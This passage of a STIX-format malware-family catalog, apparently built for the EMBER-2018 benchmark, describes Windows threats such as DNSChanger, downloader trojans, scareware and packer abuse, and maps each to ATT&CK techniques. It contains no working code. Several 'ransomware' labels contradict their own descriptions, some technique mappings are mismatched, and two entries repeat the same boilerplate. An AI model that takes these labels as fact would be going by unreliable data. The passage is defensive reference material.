filtering.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Boot:</strong> The most effective way to bypass the Scareware's lock-down mechanisms is to reboot the infected machine into Windows \"Safe Mode with Networking.\" This prevents the Dlsecure executable from loading on startup.</li>\n<li><strong>Rogue AV Removal:</strong> Once in Safe Mode, utilize a reputable, dedicated anti-malware scanner to detect and remove the Dlsecure executables and repair the registry keys the malware altered to hijack `.exe` file associations.</li>\n<li><strong>Financial Remediation:</strong> If the user actually submitted their credit card details to the fake payment portal, they must immediately contact their bank to cancel the card and dispute the fraudulent charges.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.Dlsecure",
        "FakeAV.Dlsecure",
        "Scareware.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dlsecure",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dlsecure"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b354094-4238-5bd1-876e-f665bf6f1f92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09f40621-4e5e-57a1-b773-99bc0bbfd2f9",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlsecure exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5675ead9-f74f-5a14-90aa-847657a4f494",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09f40621-4e5e-57a1-b773-99bc0bbfd2f9",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlsecure exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e46fe57e-47ef-5652-97dc-bd37638240cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--09f40621-4e5e-57a1-b773-99bc0bbfd2f9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlsecure exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d2178a4e-e68d-54f4-b9d0-a8866148da96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dlsponsor",
      "description": "DownloadSponsor (cataloged across security vendors under designations including PUADlManager:Win32/DownloadSponsor, Adware:Win32/DownloadSponsor, and Program:Win32/DownloadSponsor) is a deceptive bundleware download manager and Potentially Unwanted Application (PUA) family active since 2014. Deployed across freeware repositories, third-party download portals, and streaming sites, DownloadSponsor wraps legitimate application installers in a commercial Pay-Per-Install (PPI) wrapper. Instead of delivering standalone software, DownloadSponsor employs dark UX patterns\u2014such as obfuscated skip buttons, pre-checked opt-in boxes, and misleading license agreements\u2014to trick users into authorizing the silent installation of multiple secondary payloads. These payloads include aggressive browser hijackers, invasive toolbars, search redirectors, and cryptomining utilities. DownloadSponsor establishes persistence through registry run keys and background update services, continually reporting endpoint telemetry back to affiliate ad-broker networks. (Observed samples in benchmark: 151)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUADlManager:Win32/DownloadSponsor",
        "Adware:Win32/DownloadSponsor",
        "Program:Win32/DownloadSponsor",
        "PUA.DownloadSponsor",
        "Win32/DownloadSponsor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dlsponsor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dlsponsor"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f97de757-3e09-5a90-97f7-740ff481fc5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2178a4e-e68d-54f4-b9d0-a8866148da96",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlsponsor exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9b1b32f-7d62-5c9c-8e8b-60f1b89f0704",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2178a4e-e68d-54f4-b9d0-a8866148da96",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlsponsor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33b6d358-2a75-5d01-9b54-0646f9af9c9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2178a4e-e68d-54f4-b9d0-a8866148da96",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlsponsor exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb5a6a9d-bccc-561e-b80d-7ab1cb79ea59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2178a4e-e68d-54f4-b9d0-a8866148da96",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlsponsor exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d707c5ec-4688-522f-919a-e5a17f304abe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2178a4e-e68d-54f4-b9d0-a8866148da96",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlsponsor exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--60066b4d-9c16-5a13-a841-adcabc19134a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dluca",
      "description": "<h3>Executive Summary</h3>\nDluca is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDluca is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dluca operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dluca ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dluca receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dluca infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dluca executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dluca frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dluca",
        "Downloader.Dluca",
        "Win32/Dluca"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dluca",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dluca"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0bf65e4a-ed00-5329-b3a5-ed42302d7970",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60066b4d-9c16-5a13-a841-adcabc19134a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dluca exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d6bd9e4-e4d0-5c62-ad97-89ba761eb340",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60066b4d-9c16-5a13-a841-adcabc19134a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dluca exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d314e6db-d8f2-5367-bfbd-f4dba1b223fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60066b4d-9c16-5a13-a841-adcabc19134a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dluca exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--51a44b59-e3f7-5cd6-9556-0529e3bbeb9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dlzp",
      "description": "<h3>Executive Summary</h3>\nDlzp is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or info-stealers.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDlzp is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dlzp operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dlzp ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dlzp receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dlzp infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dlzp executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dlzp frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dlzp",
        "Downloader.Dlzp",
        "Win32/Dlzp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dlzp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dlzp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc57c9da-d2c7-5b15-afd9-75128fed5c19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51a44b59-e3f7-5cd6-9556-0529e3bbeb9c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlzp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--044d4645-a317-5d19-8955-a50f52ef14c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51a44b59-e3f7-5cd6-9556-0529e3bbeb9c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlzp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e4d2efa-8ce7-5332-87f0-5b4fe9ced9f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51a44b59-e3f7-5cd6-9556-0529e3bbeb9c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlzp exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26b5a2b2-f3d6-5087-acb5-6a7949c4eca0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dnguard",
      "description": "HackTool:Win32/Dnguard represents the malicious abuse of 'DNGuard HVM', a commercial, legitimate obfuscator and code protector for .NET applications. While software developers use it to protect their intellectual property from reverse engineering, malware authors heavily abuse DNGuard to pack their InfoStealers, RATs, and Ransomware, shielding the malicious .NET code from static antivirus analysis (`T1027.002`).<br><br><b>Understanding Dnguard (Obfuscator Abuse)</b><br>To an end-user, the infection is invisible. For a security analyst, a detection for 'Dnguard' is a red flag. While it *could* be a false positive on a legitimate, protected enterprise application, in a typical user environment (like `%AppData%` or `%Downloads%`), it almost certainly indicates a packed malware payload trying to hide.<br><br><b>Execution and Obfuscation Mechanics</b><br>When the attacker compiles their .NET malware (e.g., AsyncRAT, RedLine Stealer), they run it through the DNGuard tool. DNGuard scrambles the code, encrypts strings, renames variables to unreadable characters, and often implements anti-debugging and anti-VM checks (`T1497`). When the packed executable runs on the victim's machine, it decrypts and reconstructs the malicious .NET assembly in memory, executing the payload without ever touching the disk in an unencrypted state.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload. Host-based IoCs include EDR alerts for known packing signatures, heavily obfuscated or high-entropy .NET executables launching from untrusted directories, and the application attempting to evade debugging tools. Memory analysis (using tools like `pe-sieve` or .NET memory dumpers) is often required to extract the original, un-obfuscated malware payload from RAM to identify its C2 infrastructure. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dnguard",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dnguard"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42240929-80d9-5ccf-ac82-227a7af089b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26b5a2b2-f3d6-5087-acb5-6a7949c4eca0",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnguard exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Using DNGuard to scramble and hide the .NET payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b786e5b9-503f-5364-8a1b-d306de02c589",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26b5a2b2-f3d6-5087-acb5-6a7949c4eca0",
      "target_ref": "attack-pattern--0c25f90f-bf7e-5abc-9857-0b48857bdb1c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnguard exhibits technique T1497 (Virtualization/Sandbox Evasion (Commercial packers often include features to prevent execution in analysis environments))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0c42769-2afb-5f56-a6d3-96563c6706ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dnschange",
      "description": "Trojan:Win32/Dnschange (referencing the infamous **DNSChanger** malware class) is a severe threat designed to silently hijack a victim's web traffic by altering the machine's Domain Name System (DNS) settings at the operating system or router level. By pointing the victim's DNS resolution to rogue servers controlled by the attacker, all web requests (e.g., typing `google.com` or `chase.com`) are transparently redirected to malicious sites, phishing clones, or advertising farms.<br><br><b>Understanding the DNSChanger Threat</b><br>To an end-user, a DNSChanger infection is often insidious. The internet still 'works', but they may notice excessive pop-up ads, warnings about invalid SSL certificates, or their search results being subtly altered to prioritize malicious links. For a SOC analyst, unauthorized modification of network adapter DNS settings is a critical compromise that allows the attacker a Man-in-the-Middle (MitM) position over all endpoint traffic.<br><br><b>Execution and DNS Hijacking Mechanics</b><br>Dnschange is typically distributed via drive-by downloads (`T1189`) or bundled within deceptive software installers. Upon execution with administrative privileges (`T1204.002`), the malware queries the Windows Registry or uses `netsh` commands (`T1562.001`) to modify the `NameServer` parameters of the active network adapters. It replaces the legitimate ISP or corporate DNS IPs (e.g., `8.8.8.8`) with the IPs of the attacker's rogue DNS infrastructure (`T1565.001`). Some advanced variants also attempt to access the local home router using default credentials (e.g., `admin/admin`) to change the DNS settings at the hardware level, affecting every device on the local network (`T1498.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the silent interception of web traffic, mass ad-fraud, and credential theft via perfect phishing replicas. Host-based IoCs include EDR alerts for `netsh.exe` or `ipconfig.exe /flushdns` being executed by unexpected parent processes, or unauthorized modifications to the `HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces` registry keys. Network IoCs include all DNS traffic (UDP Port 53) being routed to unknown, untrusted IP addresses located in foreign jurisdictions. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dnschange",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dnschange"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4093f09-0840-5f22-bc56-58f5cbd37ccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0c42769-2afb-5f56-a6d3-96563c6706ab",
      "target_ref": "attack-pattern--42d77d66-a317-5dd6-8076-f4bd757e405a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnschange exhibits technique T1565.001 (Data Manipulation: Stored Data Manipulation (Altering DNS IP settings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--217c453c-7e5b-59d5-a741-4d9678092714",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0c42769-2afb-5f56-a6d3-96563c6706ab",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnschange exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Bypassing local security controls))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--711201c2-fbcf-545c-93b3-5e34aee692fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0c42769-2afb-5f56-a6d3-96563c6706ab",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnschange exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood (Hijacking router configs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ffd3ecc8-df42-5bdc-bad5-77d57fa18327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0c42769-2afb-5f56-a6d3-96563c6706ab",
      "target_ref": "attack-pattern--d52d47c8-1179-5476-95ef-decb6e322680",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnschange exhibits technique T1556 (Modify Authentication Process (Redirecting to phishing sites))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f093a861-c9d1-51f7-9200-c8b46a8e97f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dnschanger",
      "description": "DNSChanger is one of the largest and most commercially damaging malware operations in internet history, first detected in 2007. Operated by Estonian cybercriminal Vladimir Tsastsin and his front company 'Rove Digital' in Tartu, Estonia, DNSChanger covertly modified Domain Name System (DNS) server configuration settings on infected computers and local home routers, redirecting all outbound internet web traffic through an illicit network of rogue DNS servers hosted in New York and Chicago.\n\nBy hijacking DNS resolution, the operators silently intercepted web traffic from over 4 million compromised computers in more than 100 countries\u2014including over 500,000 systems in the United States, penetrating internal networks at NASA and the Department of Defense. When victims visited popular websites (such as Amazon, Netflix, or search engines), the rogue DNS servers redirected them to spoofed advertising networks, generating over $14 million in fraudulent ad revenue. In November 2011, the FBI and Estonian Police executed 'Operation Ghost Click', arresting Tsastsin and five accomplices in Estonia. Because abruptly terminating the rogue DNS servers would have severed internet access for millions of users worldwide, the US federal court authorized the Internet Systems Consortium (ISC) to operate clean surrogate DNS servers for eight months until July 2012 while global remediation took place. Tsastsin was extradited to the US, pleaded guilty in SDNY federal court, and was sentenced to federal prison in 2016. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DNSChanger",
        "Trojan.DNSChanger",
        "Win32/DNSChanger",
        "OSX.DNSChanger",
        "Rove Digital"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dnschanger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dnschanger"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74f5499e-32f3-592f-a94e-4240867615a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f093a861-c9d1-51f7-9200-c8b46a8e97f4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnschanger exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying TCP/IP Settings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30ce8058-133c-54cf-9996-222e93f004d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f093a861-c9d1-51f7-9200-c8b46a8e97f4",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnschanger exhibits technique T1498 (Network Denial of Service (DNS Redirection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8474a021-36d3-552b-93af-3b202ef21dc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f093a861-c9d1-51f7-9200-c8b46a8e97f4",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnschanger exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Blocking AV Updates))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6403f851-4d55-53dc-94a6-6dfe82c560b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f093a861-c9d1-51f7-9200-c8b46a8e97f4",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dnschanger exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46f5048d-08f9-5b36-882c-d8f54ce6756e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dnscleaner",
      "description": "DNSCleaner (classified across security vendors as PUA:Win32/DNSCleaner and Rogue:Win32/DNSCleaner) is a scareware system optimizer and Potentially Unwanted Application that deceives users regarding the safety and performance of their Windows network configuration. Installed via third-party software bundles or misleading browser alerts, DNSCleaner initiates automated scans that falsely claim the user's DNS cache, hosts file, and network registry keys are severely corrupted or hijacked by malware. It presents alarming full-screen warnings coercing the user to buy a paid software activation key to repair the DNS settings, while writing persistence entries to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and installing background telemetry services. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/DNSCleaner",
        "Rogue:Win32/DNSCleaner",
